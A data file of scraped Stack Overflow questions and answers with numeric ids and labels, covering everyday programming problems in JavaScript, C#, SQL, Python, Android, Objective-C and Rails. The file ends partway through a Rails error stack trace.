16047252	0	Identifying What Javascript is Running on a <span> through Chrome Inspector or Firebug <p>I am working on a site that has info being generated dynamically into <code>&lt;span&gt;&lt;/span&gt;</code> tags through jQuery. The span has a class of "Price" and an id of a Product Code and it's being generated from a JSON data sheet according to the ID. The problem is, this is part of a much bigger framework and I can't seem to find where the Javascript is that's accomplishing this so I can troubleshoot it.</p> <p>I'm trying to figure out how to find that out using Google Chrome Inspector or Firebug. I'm assuming the page records this info when it's loaded but I can't seem to find where that info would lie. I know this may be pretty basic but I new to the Inspectors beyond just reading the HTML and CSS. Thanks for your help!</p>
7910927	0	Unable to get windows login name of the user? <p>In my ASP.NET application deployed on an intranet, I am using something like this in a Web Service to get the Windows Login of the current user:</p> <pre><code>string user = User.Identity.Name.ToString(); </code></pre> <p>and added the following to my <code>Web.config</code> file:</p> <pre><code>&lt;system.web&gt; &lt;authentication mode="Windows" /&gt; &lt;identity impersonate="false" /&gt; &lt;/system.web&gt; </code></pre> <p>This works when I deploy my site locally but does not work when I publish it and use an actual URL (not the localhost) to access it. Am I missing something? I want to get the Windows Login name of the user currently accessing my website. Any suggestions?</p>
24984011	0	using google maps api to show locations with multiple custom marker <p>I am a JavaScript newbie . i am currently experimenting with a small google map based task.i have a large set of latitude and longitudes, around thousand and for each set of latitude and longitude pair i have some value which is gained from some servey . i can catogorize each value something like excellent, good or bad </p> <p>Now for above scenario what i want to do is show all the categorized value in the specific latitudes and longitudes and use different custom marker for excellent ,good or bad value.my question is can i use Google maps api without key and how can i use multiple color based custom marker to show all the latitudes and longitudes Is there any limit to use custom marker in maps</p> <p>A help would be appreciated</p>
24825303	0	 <p>You could make use of <a href="http://docs.oracle.com/javase/tutorial/reflect/" rel="nofollow">java reflection API</a> and call <a href="http://docs.oracle.com/javase/8/docs/api/java/lang/Class.html#getDeclaredFields--" rel="nofollow">Class#getDeclaredFields</a> to retrieve all fields in a class, iterate over the array returned by this method and call the register and pass it <a href="http://docs.oracle.com/javase/8/docs/api/java/lang/reflect/Field.html#getName--" rel="nofollow">Field#getName</a></p> <pre><code>for(Field field : getClass().getDeclaredFields()) { validationRegisterer.register(field.getName(), MandatoryFieldValidator.class); } </code></pre>
33036254	0	Xamarin forms block user back key press <p>In my Xamarin forms application I want to show a confirmation message when user clicks the back button from Main-page. Is there any way to achieve this? I overrided the OnBackButtonPressed method in my MainPage. But still the app is closing while back key press. Here is my code </p> <pre><code>protected override bool OnBackButtonPressed () { //return base.OnBackButtonPressed (); return false; } </code></pre>
30356086	0	Divide by zero error sql <p>I get the divide by zero error using this:</p> <pre><code>Select Top 100 *, Case (a.value) When 0.0 Then Null Else ((cast(b.value as decimal) - cast(a.value as decimal))/cast(a.value as decimal)) * 100 End as 'Montly Price Change (%)' From AllProducts a Join AllProducts b On a.series_id=b.series_id And (b.Date = DATEADD(month, 1, a.Date)) </code></pre> <p>I can't find a way to fix it.. I've tried </p> <pre><code>Select Top 100 *, Case cast((a.value) as decimal) When 0.0 Then Null Else ((cast(b.value as decimal) - cast(a.value as decimal))/cast(a.value as decimal)) * 100 End as 'Montly Price Change (%)' From AllProducts a Join AllProducts b On a.series_id=b.series_id And (b.Date = DATEADD(month, 1, a.Date)) </code></pre> <p>but this makes my entire column null for some reason..</p>
17679183	0	 <pre><code>private static List&lt;string&gt; wordsToRemove = "DE DA DAS DO DOS AN NAS NO NOS EM E A AS O OS AO AOS P LDA AND".Split(' ').ToList(); public static string StringWordsRemove(string stringToClean) { return string.Join(" ", stringToClean.Split(' ').Except(wordsToRemove)); } </code></pre> <p>Modification to handle punctuations:</p> <pre><code>public static string StringWordsRemove(string stringToClean) { // Define how to tokenize the input string, i.e. space only or punctuations also return string.Join(" ", stringToClean .Split(new[] { ' ', ',', '.', '?', '!' }, StringSplitOptions.RemoveEmptyEntries) .Except(wordsToRemove)); } </code></pre>
30185003	0	 <p>Using</p> <pre><code>X500Name x500name = new JcaX509CertificateHolder(certificate).<b>getSubject</b>();</code></pre> <p>will give you more detailed output than <code>getIssuer()</code>.</p>
11788545	0	 <p>Please use <a href="http://docs.jboss.org/hibernate/annotations/3.5/reference/en/html_single/" rel="nofollow">http://docs.jboss.org/hibernate/annotations/3.5/reference/en/html_single/</a> link for reference. But if you will tell what specific you are looking for I might be able to help you better. Here is little detail about @GeneratedValue annotation… I love this blog post on same topic <a href="http://elegando.jcg3.org/2009/08/hibernate-generatedvalue/" rel="nofollow">http://elegando.jcg3.org/2009/08/hibernate-generatedvalue/</a>. He has done good job explaining. </p>
25563054	0	 <p>From those results, do you have <a href="http://en.wikipedia.org/wiki/D-Bus" rel="nofollow">d-bus daemon</a> installed? I don't know much about d-bus, but have you tried disabling it or modifying the config and then see if you can restart hivemq on port 1883.</p>
34084730	0	 <p>Ok, got it working.</p> <p>When using Session State Server you have to call Server.ClearError() within Application_Error, otherwise the Request will be terminated and Session state will not be written.</p> <pre><code>void Application_Error(object sender, EventArgs e) { Exception ex = Server.GetLastError(); HttpContext.Current.Session["Error"] = ex.Message; Response.Redirect("error.aspx",false); Server.ClearError(); } </code></pre>
27000065	0	 <p>You haven't said what you want to achieve. I assume that you need that each of your instances react on a specific way, depending on a certain class variable.</p> <p>However, if you don't need a per-instance behaviour, then you can use static variables. The following works:</p> <pre><code>#include &lt;iostream&gt; using namespace std; struct test { static string t1; void say(const string &amp;val=t1){ cout &lt;&lt; val &lt;&lt; "!" &lt;&lt; endl; } }; string test::t1; int main() { cout &lt;&lt; "Hello World" &lt;&lt; endl; test::t1 = string("asd"); test a; a.say(); a.say("bla"); test::t1 = string("blahblah"); a.say(); return 0; } </code></pre> <p>... which means that all the objects of the class <code>test</code> will use the static string <code>t1</code> as their default value.</p> <p>You can "hack" a little bit, and use this as an ugly sentinel:</p> <pre><code> void say(const string &amp;val=t1){ if (&amp;val == &amp;t1) { // They are using the default value, so act as you want } else { // they are providing a value } } </code></pre>
21974222	0	 <p>Try this:</p> <pre><code>System.Windows.Forms.Cursor.Position = new Point { X = xxx, Y = yyy }; </code></pre> <p>Or try to use the native WinAPI for XP (or earlier):</p> <pre><code>[DllImport("user32.dll")] public static extern long SetCursorPos(int x, int y); public void SetCursorPosition(Point p) { SetCursorPos(p.X, p.Y); } </code></pre>
10263478	0	Is it possible to use inheritance in xsd with variable element order? <p>Is it possible to use inheritance in xsd with variable element order?</p> <p>Basically, something like this does not work, since "all" is not allowed inside "extension":</p> <pre><code>&lt;xs:complexType name="root"&gt; &lt;xs:complexContent&gt; &lt;xs:all&gt; &lt;xs:element name="A" type="xs:string"/&gt; &lt;xs:element name="B" type="xs:string"/&gt; &lt;/xs:all&gt; &lt;/xs:complexContent&gt; &lt;/xs:complexType&gt; &lt;xs:complexType name="extended"&gt; &lt;xs:complexContent&gt; &lt;xs:extension base="root"&gt; &lt;xs:all&gt; &lt;xs:element name="C" type="xs:string"/&gt; &lt;xs:element name="D" type="xs:string"/&gt; &lt;/xs:all&gt; &lt;/xs:extension&gt; &lt;/xs:complexContent&gt; &lt;/xs:complexType&gt; </code></pre> <p>The simplest solution would be just to use "sequence" instead of "all", but in my case this is not an option, since the element order is not guaranteed, so something like this:</p> <pre><code>&lt;obj&gt; &lt;B/&gt; &lt;C/&gt; &lt;D/&gt; &lt;A/&gt; &lt;/obj&gt; </code></pre> <p>will be invalid because of the wrong element order, but is should not be since all the elements are present.</p>
20284188	0	How to get a layout size before it's displayed? <p>I inflate a layout containing an <code>ImageView</code> and a <code>RelativeLayout</code>. The layout has its width set to <code>match_parent</code> and its height set to <code>wrap_content</code>. The height is determined by the <code>ImageView</code>, but the image set to the <code>ImageView</code> is loaded dynamically from the internet.</p> <p>Since I know the image ratio, I'd like to set the size of the <code>ImageView</code> before it's displayed to avoid a jump in the UI due to the change in the layout height when the image is set.</p> <p>To set the size I need the layout width, to compute the <code>ImageView</code> height.</p> <p>I tried</p> <pre><code>int width = header.getMeasuredWidth(); </code></pre> <p>but since the layout is not drawn yet it returns 0</p> <p>I also tried to use <code>measure</code> before, as suggested <a href="http://stackoverflow.com/a/5383811/326849">here</a></p> <pre><code>header.measure(0, 0); int width = header.getMeasuredWidth(); </code></pre> <p>but <code>measure</code> returns a <code>NullPointerException</code></p> <p>How can I do that?</p> <p><b>list_header.xml</b></p> <pre><code>&lt;?xml version="1.0" encoding="utf-8"?&gt; &lt;RelativeLayout xmlns:android="http://schemas.android.com/apk/res/android" android:layout_width="match_parent" android:layout_height="wrap_content" &gt; &lt;ImageView android:id="@+id/pic" android:layout_width="match_parent" android:layout_height="wrap_content" /&gt; &lt;RelativeLayout android:id="@+id/header_text_container" android:layout_width="50dp" android:layout_height="50dp" android:layout_alignParentBottom="true" android:layout_alignParentRight="true" android:background="#789987"&gt; &lt;/RelativeLayout&gt; &lt;/RelativeLayout&gt; </code></pre> <p><b>MyListFragment.java</b></p> <pre><code>@Override public void onActivityCreated(Bundle savedInstanceState) { super.onActivityCreated(savedInstanceState); mListView = (ListView) getView().findViewById(R.id.listview); View header = getActivity().getLayoutInflater().inflate(R.layout.list_header, null); int width = header.getMeasuredWidth(); // 0 because not drawn yet ImageView pic = (ImageView) header.findViewById(R.id.pic); pic.setLayoutParams(new LayoutParams(width, (int) (width/imgRatio))); pic.invalidate(); header.invalidate(); /* ... */ } </code></pre>
12668678	0	 <p>HTML</p> <pre><code>&lt;div class="main"&gt; &lt;div class="Parent"&gt; &lt;/div&gt; &lt;/div&gt; </code></pre> <p>CSS</p> <pre><code>.Parent{ width:200px; height:100px; background:red; position:absolute; right:0; top:200px; } .main{ width:700px; margin:auto; height:1000px; background:blue; } </code></pre> <p>​ <a href="http://jsfiddle.net/afshinprofe/qhCsJ/5/" rel="nofollow">DEMO</a></p>
37344759	0	 <p>It really depends on what you are trying to keep.</p> <p><code>wp-config.php</code> stores your database connection details and a few other settings.</p> <p><code>wp-content</code> is the directory that stores all of your uploads and plugins. Essentially all of your uploaded content.</p> <p>The file and folder shown above are what you would typically want to keep. However, the infection could very well have spread to the php files in there too - so keep that mind!</p> <p>The alternative method is listed below:</p> <p>A good idea would be to follow the manual upgrade process instead</p> <ol> <li>Get the latest WordPress zip (or tar.gz) file.</li> <li>Unpack the zip file that you downloaded.</li> <li>Deactivate plugins.</li> <li>Delete the old wp-includes and wp-admin directories on your web host (through your FTP or shell access).</li> <li>Using FTP or your shell access, upload the new wp-includes and wp-admin directories to your web host, in place of the previously deleted directories.</li> <li>Upload the individual files from the new wp-content folder to your existing wp-content folder, overwriting existing files. Do NOT delete your existing wp-content folder. Do NOT delete any files or folders in your existing wp-content directory (except for the one being overwritten by new files).</li> <li>Upload all new loose files from the root directory of the new version to your existing wordpress root directory.</li> </ol> <p>If you get stuck here - have a look at <a href="https://codex.wordpress.org/Upgrading_WordPress_Extended" rel="nofollow">https://codex.wordpress.org/Upgrading_WordPress_Extended</a></p>
6338900	0	UITextField autocomplete <p>Is it possible to autocomplete a UITextField bases on what is being entered? The reason why I need this is because I have a predefined set of words that the user needs to choose and the list is about 1000 item long. I want to display in UITableView and let the user chose but having 1k items in table list isn't I think a good idea. Thanks</p>
4125090	0	Windows 7, IE8: Creating CAxWindow finished with Access Denied error <p>I have Windows 7, and Internet Explorer 8, Visual Studio 2008. I need to create Active X window which will show page from other site. I try to create CAxWindow window while IE in Protected Mode. It returns Access Denied error (5) if current site isn't trusted.</p> <p>Class of new window defined as:</p> <pre><code>class CNewWnd: public CWindowImpl&lt;CNewWnd, CAxWindow, CWinTraits&lt;WS_CHILD | WS_BORDER, WS_EX_TOOLWINDOW&gt;&gt; </code></pre> <p>Create new window implemented as:</p> <pre><code>hWndContainer = Create(hParent, r); </code></pre> <p>where hParent is HWND of browser. As result hWndContainer = NULL and GetLastError() returns 5.</p> <p>MSDN's article "Understanding and Working in Protected Mode Internet Explorer" describes only working with System Registry, Files and Processes - none of word about windows creating.</p>
28526405	0	Remove duplicates according to data in 2 columns by priority in Excel <p>I am trying to remove duplicates in Excel by comparing 2 columns and by priority, meaning:</p> <p>I have priority by category such as cat 1 > cat 2 > cat 3 > cat 4</p> <p>And I want to match if some text that appears in column 2 and 4 matches any other row it will delete the row that has the lower category priority</p> <p>Here is an image: <a href="http://i.imgur.com/aN3cQwL.png" rel="nofollow">http://i.imgur.com/aN3cQwL.png</a></p> <p>Explanation of the image: Orange cells should be deleted, blue ones should be kept.</p> <p><strong>Update:</strong></p> <p>What I am trying to achieve: I have a list of URLs in column B (Source URLs), another list of URLs in column C (which are target URLs of links), anchor text in column D, column A contains the data source to help me identify from where I pulled the data from. I just want to make sure that there aren't any duplicates between all data sources but maintaining a certain priority, which will prefer to delete duplicates from Category 2 if the exact source URL and anchor appear in Category 1 and etc.</p>
27826071	0	How do I cancel orphaned NSUserNotifications on OS X? <p>I was doing some development with NSUserNotification in an OS X Yosemite app. It's all working great now, but in the process of development, I somehow orphaned scheduled daily NSUserNotifications on my system. Now I get notifications all day long that are unconnected to my app: clicking "Show" does not launch or switch to the app. I can disable all notifications for the app, but then the <em>actual</em>, non-orphaned notifications stop appearing, too.</p> <p>Is there some place on the system where I can find a list of scheduled notifications and delete all the orphans? Maybe a file to edit or a database to update?</p>
26075248	0	Why are not all images showing up in this slider? <p>Here is my code </p> <pre><code>&lt;!DOCTYPE html&gt; &lt;html&gt; &lt;head&gt; &lt;script src="http://ajax.googleapis.com/ajax/libs/jquery/1.11.1/jquery.min.js"&gt;&lt;/script&gt; &lt;script&gt; $(document).ready(function() { var startSlider = function() { var startSlide = $(".slider li:first"); var nextSlide = $(".active").next("li"); $(".active").removeClass(); if(nextSlide.html() == null) { nextSlide = startSlide; } nextSlide.addClass("active"); setTimeout(startSlider, 1000); }; setTimeout(startSlider, 1000); }); &lt;/script&gt; &lt;style&gt; .active{ display:none; } &lt;/style&gt; &lt;/head&gt; &lt;body&gt; &lt;ul class="slider" style="list-style:none;"&gt; &lt;li&gt;&lt;div class="active" style="background:#F00;height:100px;width:100px;margin:6px; position: fixed; top: 100px;"&gt;&lt;/div&gt;&lt;/li&gt; &lt;li&gt;&lt;div style="background:#0F0;height:100px;width:100px;margin:6px; position: fixed; top:100px;"&gt;&lt;/div&gt;&lt;/li&gt; &lt;li&gt;&lt;div style="background:#00F;height:100px;width:100px;margin:6px; position: fixed; top:100px;"&gt;&lt;/li&gt; &lt;li&gt;&lt;div style="background:#000;height:100px;width:100px;margin:6px; position: fixed; top: 100px;"&gt;&lt;/div&gt;&lt;/li&gt; &lt;/ul&gt; &lt;/body&gt; &lt;/html&gt; </code></pre> <p>When I run this code only blue and black divs show up again and again.What can be the posible reason for that? I tried to put active class at different position but it did not help.I removed the typo suggested in answer it was not in the original code and showed up only here.</p>
30893418	1	Django runserver from Python script <p>The normal way to start the Django server is to run the following command from a terminal or a bash script:</p> <pre><code>python manage.py runserver [Ip.addr]:[port] </code></pre> <p>e.g. </p> <pre><code>python manage.py runserver 0.0.0.0:8000 </code></pre> <p>How can I start a Django server from a Python script?</p> <p>One option is the following </p> <pre><code>import os if __name__ == "__main__": os.environ.setdefault("DJANGO_SETTINGS_MODULE", "server.settings") from django.core.management import execute_from_command_line args = ['name', 'runserver', '0.0.0.0:8000'] execute_from_command_line(args) </code></pre> <p>Is there a better way?</p>
5176200	0	 <p>I've seen you already accepted an answer but there are two things here that I wanted to rectify:</p> <ol> <li>It's <em>not needed</em> to retain a scheduled timer but it doesn't do any harm (as long as you release it when it's no longer needed). The "problematic" part of a timer/target relationship is that...</li> <li><strong>a timer retains its target</strong>. And you've decided to set that target to <code>self</code>.<br> That means — retained or not — the timer will keep your object alive, as long as the timer is valid.</li> </ol> <p>With that in mind, let's revisit your code from bottom to top:</p> <pre><code>- (void)dealloc { [timer_porthole invalidate]; // 1 [timer_porthole release]; timer_porthole = nil; // 2 [super dealloc]; } </code></pre> <p><strong>1</strong> is pointless:<br> If <code>timer_porthole</code> was still a valid timer (i.e. scheduled on a runloop) it would retain your object, so this method wouldn't be called in the first place...</p> <p><strong>2</strong> no point here, either:<br> This is <code>dealloc</code>! When <code>[super dealloc]</code> returns, the memory that your instance occupied on the heap will be freed. Sure you can nil out your part of the heap before it gets freed. But why bother?</p> <p>Then there is</p> <pre><code>-(void) kill_timers{ [timer_porthole invalidate]; timer_porthole=nil; // 3 } </code></pre> <p><strong>3</strong> given your initializer (and as others have pointed out) you are leaking your timer here; there should be a <code>[timer_porthole release]</code> before this line.</p> <hr> <p>PS:</p> <p>If you think it all over, you'll see that retaining the timer (at least temporarily) creates a <em>retain-cycle</em>. In this particular case that happens to be a non-issue which is resolved as soon as the timer is invalidated...</p>
37374718	1	Error with pip install MySQL-python <p>I have been trying for a few days to fix this, looking at other questions but I can't find a question wth the same error that I am getting.</p> <p>I have been attempting to follow this tutorial <a href="https://realpython.com/learn/start-django/" rel="nofollow">https://realpython.com/learn/start-django/</a> and get to this point:</p> <p>Database settings First, install MySQL-python, which is a database connector for Python:</p> <pre><code>$ pip install MySQL-python </code></pre> <p>Everything has worked okay up to here but when I try and install MySQL-python I get the following error:</p> <blockquote> <pre><code>(env) Camerons-MacBook-Pro:django15_project camrail$ pip install MySQL-python Collecting MySQL-python Using cached MySQL-python-1.2.5.zip Complete output from command python setup.py egg_info: sh: mysql_config: command not found Traceback (most recent call last): File "&lt;string&gt;", line 1, in &lt;module&gt; File "/private/var/folders/3v/czm4shrx0yg5jts39qktf6t00000gn/T/pip-build-2rNsQQ/MySQL-python/setup.py", line 17, in &lt;module&gt; metadata, options = get_config() File "/private/var/folders/3v/czm4shrx0yg5jts39qktf6t00000gn/T/pip-build-2rNsQQ/MySQL-python/setup_posix.py", line 43, in get_config libs = mysql_config("libs_r") File "/private/var/folders/3v/czm4shrx0yg5jts39qktf6t00000gn/T/pip-build-2rNsQQ/MySQL-python/setup_posix.py", line 25, in mysql_config raise EnvironmentError("%s not found" % (mysql_config.path,)) EnvironmentError: mysql_config not found ---------------------------------------- Command "python setup.py egg_info" failed with error code 1 in /private/var/folders/3v/czm4shrx0yg5jts39qktf6t00000gn/T/pip-build-2rNsQQ/MySQL-python/ (env) Camerons-MacBook-Pro:django15_project camrail$ </code></pre> </blockquote> <p>I found this answer <a href="https://opensourcehacker.com/2011/03/02/installing-mysql-python-connector-on-osx/" rel="nofollow">https://opensourcehacker.com/2011/03/02/installing-mysql-python-connector-on-osx/</a> that says the MySQL utilities are not made available, so I followed their advice to fix it but to no avail. I have also tried installing developer tools <code>xcode-select --install</code> as some have suggested. I have tried reinstalling <code>ez_setup</code>.</p> <p>Not really sure where to go from here, any help greatly appreciated.</p>
20807011	0	 <p>I figured it out myself. Instead of <code>/Revision:/</code>, use:</p> <pre><code>result=$(svn info $svn | awk '/^Last Changed Rev:/ { print $4 }') </code></pre>
19217771	0	What is localhost path for accessing server file in android?? <p>I want to send variable from <strong>android application</strong> to wamp server and retrieve data from server. Please suggest me and what is path of localhost for wamp server. I am using "<strong>localhost/TestAndroid/check.php</strong>". The error is occurred data is not parsed. Please suggest me with code. How to accessing data from android application(JSON+Android+HTTPClient)?.<br> Thanks Nitin</p>
35993187	1	xmpppy: how to get auth response from server <p>Upon registration attempt, server sends a message containing a token, which should later be passed in messages during the conversation. Something like</p> <pre><code>{ "from" : "jid@server", "to" : "jid@client", "type" : "token", "token" : "T0K3N" } </code></pre> <p>I tried the simple client connection sequence:</p> <pre><code>c = xmpp.Client('myClient') c.connect(server=(localhost, 5222)) c.auth('jid', 'password') </code></pre> <p>And connection establishes successfully. However, I'm not getting token from server. How can I listen and consume the reply?</p> <p>Edit: I see that server tries to send the token, but fails with "cannot relay to offline receiver" message. Do I connect incorrectly?</p>
8647287	0	 Do not use this tag. Use [tomcat] instead.
6658633	0	Refreshing IE window automatically does not work in VB.Net <p>I have tried to write a simple function to bring an Internet Explorer windows to the foreground and then press F5 to refresh it using the dll function:</p> <pre><code> Declare Function SetForegroundWindow Lib "user32" (ByVal hwnd As Integer) As Integer </code></pre> <p>and then later call this function using:</p> <pre><code> SetForegroundWindow(processID.MainWindowHandle.ToInt32) SendKeys.Send("{F5}") </code></pre> <p>However, when I tried to debug the code, the setforeground does not work.</p> <p>I am using a Windows 2008 (64 bit) so I thought I should use ToInt64 instead. However that did not seem to do the trick as well, when I called SetForegroundWindow, nothing seems to come up. </p> <p>Is there any other recommendation? I am using VS 2008.</p> <p>Many thnaks!</p>
13665631	0	 <p>You can initialize vectors this way:</p> <pre><code>vector&lt;int&gt; a(2,3); //vector a contains 2 elements: 3 and 3 a[0] = 4;//vector a contains 2 elements: 4 and 3 vector&lt;int&gt; b; b = a; </code></pre> <p>And there are some other ways you can check here: <a href="http://www.cplusplus.com/reference/vector/vector/vector/" rel="nofollow">http://www.cplusplus.com/reference/vector/vector/vector/</a></p> <p>EDIT:</p> <p>If you want to initialize with zeros:</p> <pre><code>vector&lt;int&gt; a(2); </code></pre> <p>should do the work, the vector a will contain 2 zeros.</p>
25268581	0	 <p>PROBLEM: I had similar problem with a file created from other computer (a css in my case). To solve the problem I read that it is necessary to change the permissions but I don't know to do this on Windows so I try this alternative:</p> <p>SOLUTION: Open the file, copy the content and paste it in a new file, this makes sure the permissions are ok. </p> <p>When changing the name by using F2 it didn't work for me, I believe it is because the permissions where still the same.</p>
38763754	0	 <p>Cassandra table-schema details will be stored as meta data in system keyspaces. </p> <p>Cassandra snapshot just creates a copy of sstables for the requested keyspace/column_familes. So to restore the snapshot, you need to explicitly create the schema in destination cluster.</p>
3926182	0	 <p>Yes, it's always good to have a known issues section; if nothing else, to keep your inbox empty of the same emails complaining about the same bugs you already know about.</p>
20094692	0	 <p>It isn't <code>OFFSET</code> that stops this working - your basic <code>VLOOKUP</code> won't work because the "table array" needs to be 2 columns at least if you have the "col_index-num" as 2</p> <p>What are you trying to do with this formula?</p> <p><code>=VLOOKUP($B6,$C$30:$C$36,2,0)</code></p> <p>If you want to look up B6 in C30:C36 and find the corresponding value in the next column you need to use this version</p> <p><code>=VLOOKUP($B6,$C$30:$D$36,2,0)</code></p> <p>Note "D" in place of second "C"</p> <p>and for a corresponding fix to the <code>OFFSET</code> version you can use</p> <p><code>=VLOOKUP($B6,OFFSET(C30,0,C4):OFFSET(D36,0,C4),2,0)</code></p>
24584056	0	How to insert a image in WordPress that will display on admin product image? <blockquote> <p>$insert = $wpdb->insert( $prefix."posts", array("post_title" => $posTitle,"post_content" => $postContent,"post_status" => "publish","post_type" =>"product"));</p> </blockquote> <p>I insert image path in wordpress posts table and post parent contain ID of product ID also add _thumbnail_id in postmeta table product id my main focus is to display image in post product page in wp-admin </p>
26561014	0	 <p>You can use <code>array_slice()</code> for slice and <code>array_sum()</code> to calculate total then average. An example here</p> <pre><code>$values = array(1,2,3,4,5,6,7,8,9,10); foreach($values as $k=&gt;$v){ if($k &gt; 4){ echo $ave = array_sum(array_slice($values, $k - 5, $k)) / 5 . '&lt;br /&gt;'; } } </code></pre>
38950843	0	 <p>You need to you something like: </p> <pre><code>foreach ($results as $value){ $allValues = implode('", "', $value); //the above line will give us something like ("1", "Henricho"....etc) $query ='Insert into(col1, col2, col3, col4, col5, col6, col7, col8) Values("'.$allValues.'")'; //You can now execute your query echo $query."&lt;BR /&gt;"; } </code></pre> <p><a href="http://phpfiddle.org/lite?code=%3C?php%5Cn%5Cn$results%20=%20array(%5Cn%5Ct%200%20=%3E%20array(%5Cn%5Ct%5Ct%5Ct%5Ct%5Ct%201=%3E%20%221%22,%5Cn%202=%3E%20%22Henricho%22,%5Cn%203=%3E%20%22Bruintjies%22,%5Cn%204=%3E%20%2223%22,%5Cn%205=%3E%20%22Agn%22%20,%5Cn%206=%3E%20%2210.17A%22,%5Cn%207=%3E%20%22-0.2%22,%5Cn%208=%3E%20%228%22%5Cn%5Ct%5Ct%5Ct%5Ct%20),%5Cn%5Ct%201%20=%3E%20array(%5Cn%5Ct%5Ct%5Ct%5Ct%201=%3E%20%222%22,%5Cn%202=%3E%20%22Akani%22,%5Cn%203=%3E%20%22Simbine%22,%5Cn%204=%3E%20%2223%22%20,%5Cn%205=%3E%20%22Agn%22%20,%5Cn%206=%3E%20%2210.17A%22,%5Cn%207=%3E%20%22-0.2%22%20,%5Cn%208=%3E%20%228%22%5Cn%5Ct%5Ct%5Ct%5Ct%20)%5Cn%20);%5Cn%5Cnforeach%20($results%20as%20$value)%7B%5Cn%5Cn%5Ct$allValues%20=%20implode(&#39;%22,%22&#39;,%20$value);%5Cn%20//the%20above%20line%20will%20give%20us%20something%20like%20(%221%22,%20%22Henricho%22....etc)%5Cn%20$query%20=&#39;Insert%20into(col1,%20col2,%20col3,%20col4,%20col5,%20col6,%20col7,%20col8)%5Cn%20Values(%22&#39;.$allValues.&#39;%22)&#39;;%5Cn%20//You%20can%20now%20execute%20your%20query%5Cn%5Ctecho%20$query.%22%3CBR%20/%3E%22;%5Cn%7D%5Cn?%3E%5Cn" rel="nofollow"><kbd><strong>Check Demo Here</strong></kbd></a></p>
35138248	0	ActionController known Format <p>I am having an issue with this code. It is for uploading an audio file. When I upload it I get an error saying this:</p> <pre><code>ActionController::UnknownFormat at /users/1/audios/dfdfdsdsf ============================================================ &gt; ActionController::UnknownFormat app/controllers/audios_controller.rb, line 67 --------------------------------------------- ``` ruby 62 if @audio.errors.empty? &amp;&amp; @audio.update_attributes(update_audio_params) 63 respond_to do |format| 64 format.html { redirect_to user_audios_path(@user) } 65 end 66 else &gt; 67 respond_to do |format| 68 format.html { render :edit } 69 format.js { render json: { result: :failed, errors: @audio.errors } } 70 end 71 end 72 end ``` App backtrace ------------- - app/controllers/audios_controller.rb:67:in `update' Full backtrace -------------- - actionpack (4.2.3) lib/action_controller/metal/mime_responds.rb:217:in `respond_to' - app/controllers/audios_controller.rb:67:in `update' - actionpack (4.2.3) lib/action_controller/metal/implicit_render.rb:4:in `send_action' - actionpack (4.2.3) lib/abstract_controller/base.rb:198:in `process_action' - actionpack (4.2.3) lib/action_controller/metal/rendering.rb:10:in `process_action' - actionpack (4.2.3) lib/abstract_controller/callbacks.rb:20:in `block in process_action' - activesupport (4.2.3) lib/active_support/callbacks.rb:115:in `call' - activesupport (4.2.3) lib/active_support/callbacks.rb:553:in `block (2 levels) in compile' - activesupport (4.2.3) lib/active_support/callbacks.rb:503:in `call' - activesupport (4.2.3) lib/active_support/callbacks.rb:88:in `run_callbacks' - actionpack (4.2.3) lib/abstract_controller/callbacks.rb:19:in `process_action' - actionpack (4.2.3) lib/action_controller/metal/rescue.rb:29:in `process_action' - actionpack (4.2.3) lib/action_controller/metal/instrumentation.rb:32:in `block in process_action' - activesupport (4.2.3) lib/active_support/notifications.rb:164:in `block in instrument' - activesupport (4.2.3) lib/active_support/notifications/instrumenter.rb:20:in `instrument' - activesupport (4.2.3) lib/active_support/notifications.rb:164:in `instrument' - actionpack (4.2.3) lib/action_controller/metal/instrumentation.rb:30:in `process_action' - actionpack (4.2.3) lib/action_controller/metal/params_wrapper.rb:250:in `process_action' - activerecord (4.2.3) lib/active_record/railties/controller_runtime.rb:18:in `process_action' - actionpack (4.2.3) lib/abstract_controller/base.rb:137:in `process' - actionview (4.2.3) lib/action_view/rendering.rb:30:in `process' - rack-mini-profiler (0.9.8) lib/mini_profiler/profiling_methods.rb:106:in `block in profile_method' - actionpack (4.2.3) lib/action_controller/metal.rb:196:in `dispatch' - actionpack (4.2.3) lib/action_controller/metal/rack_delegation.rb:13:in `dispatch' - actionpack (4.2.3) lib/action_controller/metal.rb:237:in `block in action' - actionpack (4.2.3) lib/action_dispatch/routing/route_set.rb:76:in `dispatch' - actionpack (4.2.3) lib/action_dispatch/routing/route_set.rb:45:in `serve' - actionpack (4.2.3) lib/action_dispatch/journey/router.rb:43:in `block in serve' - actionpack (4.2.3) lib/action_dispatch/journey/router.rb:30:in `serve' - actionpack (4.2.3) lib/action_dispatch/routing/route_set.rb:821:in `call' - warden (1.2.3) lib/warden/manager.rb:35:in `block in call' - warden (1.2.3) lib/warden/manager.rb:34:in `call' - rack (1.6.4) lib/rack/etag.rb:24:in `call' - rack (1.6.4) lib/rack/conditionalget.rb:38:in `call' - rack (1.6.4) lib/rack/head.rb:13:in `call' - actionpack (4.2.3) lib/action_dispatch/middleware/params_parser.rb:27:in `call' - actionpack (4.2.3) lib/action_dispatch/middleware/flash.rb:260:in `call' - rack (1.6.4) lib/rack/session/abstract/id.rb:225:in `context' - rack (1.6.4) lib/rack/session/abstract/id.rb:220:in `call' - actionpack (4.2.3) lib/action_dispatch/middleware/cookies.rb:560:in `call' - activerecord (4.2.3) lib/active_record/query_cache.rb:36:in `call' - activerecord (4.2.3) lib/active_record/connection_adapters/abstract/connection_pool.rb:653:in `call' - activerecord (4.2.3) lib/active_record/migration.rb:377:in `call' - actionpack (4.2.3) lib/action_dispatch/middleware/callbacks.rb:29:in `block in call' - activesupport (4.2.3) lib/active_support/callbacks.rb:84:in `run_callbacks' - actionpack (4.2.3) lib/action_dispatch/middleware/callbacks.rb:27:in `call' - actionpack (4.2.3) lib/action_dispatch/middleware/reloader.rb:73:in `call' - actionpack (4.2.3) lib/action_dispatch/middleware/remote_ip.rb:78:in `call' - better_errors (2.1.1) lib/better_errors/middleware.rb:84:in `protected_app_call' - better_errors (2.1.1) lib/better_errors/middleware.rb:79:in `better_errors_call' - better_errors (2.1.1) lib/better_errors/middleware.rb:57:in `call' - actionpack (4.2.3) lib/action_dispatch/middleware/debug_exceptions.rb:17:in `call' - web-console (2.2.1) lib/web_console/middleware.rb:39:in `call' - actionpack (4.2.3) lib/action_dispatch/middleware/show_exceptions.rb:30:in `call' - railties (4.2.3) lib/rails/rack/logger.rb:38:in `call_app' - railties (4.2.3) lib/rails/rack/logger.rb:20:in `block in call' - activesupport (4.2.3) lib/active_support/tagged_logging.rb:68:in `block in tagged' - activesupport (4.2.3) 